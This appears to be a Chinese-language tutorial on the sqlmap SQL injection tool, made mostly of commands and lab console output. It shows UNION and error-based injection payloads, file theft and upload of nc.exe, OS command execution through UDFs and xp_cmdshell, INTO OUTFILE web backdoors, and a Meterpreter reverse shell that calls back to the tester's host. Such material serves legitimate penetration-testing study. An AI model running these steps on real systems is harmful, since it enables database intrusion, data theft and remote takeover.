python sqlmap.py -u "http://192.168.56.101/user.php?id=001"--technique U -v 3--union-char123
部分输出为:
1 2
[10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
仔细观察上示两例的输出就能明白联合查询注入中使用的字符就是UNION ALL SELECT XXX, XXX中的XXX。
[hh:mm:50][INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50][INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50][DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50][INFO] retrieved: foo [hh:mm:50][DEBUG] performed 27 queries in0 seconds [hh:mm:50][DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA RCHAR(8000)), (CHAR(32))) [hh:mm:50][INFO] retrieved: bar [hh:mm:50][DEBUG] performed 27 quer123456789101112
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
然后查看下载的文件:
1 2 3 4
$ ls -l output/192.168.136.129/files/C__example.exe -rw-r--r-- 1 inquis inquis 25602011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe $ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executablefor MS Windows (GUI) Intel 8038632-bit
$ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executablefor MS Windows (console) Intel 8038632-bit $ ls -l /software/nc.exe.packed -rwxr-xr-x1 inquis inquis 317442009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\ -file-write"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003or2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [...] do you want confirmation that the file'C:/WINDOWS/Temp/nc.exe'has been success fully written on the back-end DBMS filesystem? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the filehas been successfully written and its size is31744b ytes, same size as the local file'/software/nc.exe.packed'
操作系统控制
执行任意操作系统命令
参数:--os-cmd 和--os-shell
若数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有相关权限 Sqlmap 就能利用 SQL 注入执行任意的操作系统命令。
当数据库管理系统是 MySQL 或 PostgreSQL 时,Sqlmap 会通过前面介绍过的文件上传功能上传一个包含用户自定义函数 sys_exec()和 sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。
当数据库管理系统是微软的 SQL Server 时,Sqlmap 通过存储过程 xp_cmdshell 来执行任意命令。
若 xp_cmdshell 被禁用(SQL Server >= 2005 时默认禁用)Sqlmap 会启用它;
若 xp_cmdshell 不存在,Sqlmap 会创建它。
web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval'from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec'from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' [hh:mm:19] [INFO] cleaning up the database management system do you want toremove UDF 'sys_eval'? [Y/n] y do you want toremove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
当堆查询不被支持(如 PHP 或 ASP+Mysql)且数据库管理系统是 MySQL 时,仍然可以通过 SELECT 的从句 INTO OUTFILE 在 Web 所在主机的可写目录创建一个 Web 后门,通过这个 Web 后门来执行命令。Sqlmap 支持这一技术并要求用户提供一些用逗号分割的可能是可写目录的路径。Sqlmap 支持以下这些服务器端脚本语言:
[...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval'from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec'from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database und erlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
=[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig
MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0
在 Windows 中 Mysql 默认以 SYSTEM 身份运行,但 PostgreSQL 无论是在 Windows 还是在 Linux 中都以低权限的用户 postgres 运行。SQL Server 2000 默认以 SYSTEM 身份运行,但 SQL Server 2005 到 2008 大多数时间以 NETWORK SERVICE 身份运行,少数时候以 LOCAL SERVICE 身份运行。
[xx:xx:53] [INFO] starting crawler [xx:xx:53] [INFO] searching for links with depth 1 [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while [xx:xx:53] [INFO] searching for links with depth 2 [xx:xx:54] [INFO] heuristics detected web page charset 'ascii' [xx:xx:00] [INFO] 42/56 links visited (75%)
[xx:xx:17] [INFO] ORDERBY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider forODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDERBY position number 10 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider forODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDERBY position number 6 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider forODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDERBY position number 4 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] target URL appears to have 3 columns inquery
指定中轴列
参数:--pivot-column
有时(如在微软 SQL Server、Sybase 和 SAP MaxDB 中)由于缺乏类似机制不可以直接使用偏移 m,n 的方式列举数据表记录。在这种情况下,Sqlmap 通过确定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其他列值。
如果自动选择失败就需要使用该参数手动指定中轴列,如:--pivot-column=id。
保存选项到配置文件中
参数:--save
使用该参数可以保存 Sqlmap 命令行参数到配置文件中,该文件可编辑并且可以使用参数-c加载。配置文件是 INI 格式的。
[18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001") [18:59:36] [INFO] executing alerting shell command(s) ('notify-send '找到漏洞了'')12
[xx:xx:56] [INFO] testing forSQL injection onGET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [xx:xx:56] [INFO] do you want toincludeall tests for'MySQL' extending provided level (1) and risk (1)? [Y/n] N
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile [...] which smartphone do you want sqlmap to imitate through HTTP User-Agent header? [1] Apple iPhone 4s (default) [2] BlackBerry 9900 [3] Google Nexus 7 [4] HP iPAQ 6365 [5] HTC Sensation [6] Nokia N97 [7] Samsung Galaxy S > 1 [...]
[19:51:36] [DEBUG] cleaning up configuration parameters [19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'... [19:51:36] [DEBUG] changing file attributes [19:51:36] [DEBUG] writing random data to files [19:51:36] [DEBUG] truncating files [19:51:36] [DEBUG] renaming filenames to random values [19:51:36] [DEBUG] renaming directory names to random values [19:51:36] [DEBUG] deleting the whole directory tree
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart [...] [xx:xx:14] [INFO] testing ifGET parameter 'ca' is dynamic [xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable [xx:xx:14] [INFO] skipping GET parameter 'ca' [xx:xx:14] [INFO] testing ifGET parameter 'user' is dynamic [xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable [xx:xx:14] [INFO] skipping GET parameter 'user' [xx:xx:14] [INFO] testing ifGET parameter 'id' is dynamic [xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic [xx:xx:14] [INFO] GET parameter 'id' is dynamic [xx:xx:14] [WARNING] reflective value(s) found and filtering out [xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for'MySQL' extending provided level (1) and risk (1)? [Y/n] Y [xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [xx:xx:14] [INFO] testing 'MySQL inline queries' [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' [xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable [xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found [xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed tofind the right number of query columns. Automatically extending the range for current UNION query injection technique test [xx:xx:24] [INFO] target URL appears to have 3 columns in query [xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable [...]
通过关键词使用或跳过 payload
参数:--test-filter
若只想使用包含关键词ROW的 payload 可使用参数--test-filter=ROW。下面是以 Mysql 为目标的例子:
[xx:xx:39] [INFO] GETparameter ’id’ isdynamic [xx:xx:39] [WARNING] reflective value(s) found and filtering out [xx:xx:39] [INFO] heuristic (basic) test shows that GETparameter ’id’ might be injectable (possible DBMS: ’MySQL’) [xx:xx:39] [INFO] testing forSQL injection onGETparameter ’id’ [xx:xx:39] [INFO] testing ’MySQL >=4.1AND error-based -WHEREorHAVING clause’ [xx:xx:39] [INFO] GETparameter ’id’ is ’MySQL >=4.1AND error-based -WHEREorHAVING clause’ injectable GETparameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of3 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >=4.1AND error-based -WHEREorHAVING clause Payload: id=1ANDROW(4959,4971)>(SELECTCOUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASEWHEN (4959=4959) THEN1ELSE0END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT4706UNIONSELECT3536UNIONSELECT7442UNIONSELECT3470)a GROUPBY x) ---
sqlmap-shell> -u "192.168.56.102" [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:22:46
[20:22:46] [INFO] testing connection to the target URL [20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [20:22:46] [INFO] testing if the target URL is stable [20:22:47] [INFO] target URL is stable [20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')